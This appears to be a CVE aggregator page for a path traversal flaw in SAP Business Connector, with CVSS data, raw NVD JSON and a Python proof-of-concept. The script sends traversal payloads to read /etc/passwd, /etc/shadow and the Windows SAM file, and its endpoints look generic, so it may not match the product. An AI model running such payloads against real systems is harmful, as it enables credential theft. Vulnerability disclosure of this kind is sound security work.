Security Vulnerability Report
中文
CVE-2025-42894 CVSS 6.8 MEDIUM

CVE-2025-42894

Published: 2025-11-11 01:15:38
Last Modified: 2026-01-16 16:53:15

Description

Due to a Path Traversal vulnerability in SAP Business Connector, an attacker authenticated as an administrator with adjacent access could read, write, overwrite, and delete arbitrary files on the host system. Successful exploitation could enable the attacker to execute arbitrary operating system commands on the server, resulting in a complete compromise of the confidentiality, integrity, and availability of the affected system.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sap:business_connector:4.8:*:*:*:*:*:*:* - VULNERABLE
SAP Business Connector 所有版本(具体版本需参考 SAP 官方安全公告 3666038)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42894 Path Traversal PoC (Educational Purpose Only) # SAP Business Connector File Read via Path Traversal import requests from urllib.parse import quote TARGET_URL = "https://target-server:4443" LOGIN_ENDPOINT = f"{TARGET_URL}/mdm/login" FILE_ENDPOINT = f"{TARGET_URL}/mdm/file/download" # Authentication (requires admin credentials) auth_data = { "username": "admin", "password": "admin_password" } # Path Traversal Payloads payloads = [ "../../../../etc/passwd", "..\\..\\..\\..\\windows\\system32\\config\\sam", "../../../../../../etc/shadow", "..%2F..%2F..%2F..%2Fetc%2Fpasswd" ] def exploit(): session = requests.Session() # Step 1: Authenticate as administrator login_resp = session.post(LOGIN_ENDPOINT, json=auth_data) if login_resp.status_code != 200: print(f"[-] Authentication failed: {login_resp.status_code}") return print("[+] Authentication successful") # Step 2: Exploit path traversal to read arbitrary files for payload in payloads: params = {"filePath": payload} resp = session.get(FILE_ENDPOINT, params=params) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] File content retrieved with payload: {payload}") print(resp.text[:500]) return True print("[-] No successful exploitation") return False if __name__ == "__main__": print("CVE-2025-42894 PoC - SAP Business Connector Path Traversal") print("This is for authorized security testing only.") exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42894", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:38.307", "lastModified": "2026-01-16T16:53:15.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Path Traversal vulnerability in SAP Business Connector, an attacker authenticated as an administrator with adjacent access could read, write, overwrite, and delete arbitrary files on the host system. Successful exploitation could enable the attacker to execute arbitrary operating system commands on the server, resulting in a complete compromise of the confidentiality, integrity, and availability of the affected system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sap:business_connector:4.8:*:*:*:*:*:*:*", "matchCriteriaId": "99F0C742-7E03-425D-BCFC-F4683843350F"}]}]}], "references": [{"url": "https://me.sap.com/notes/3666038", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}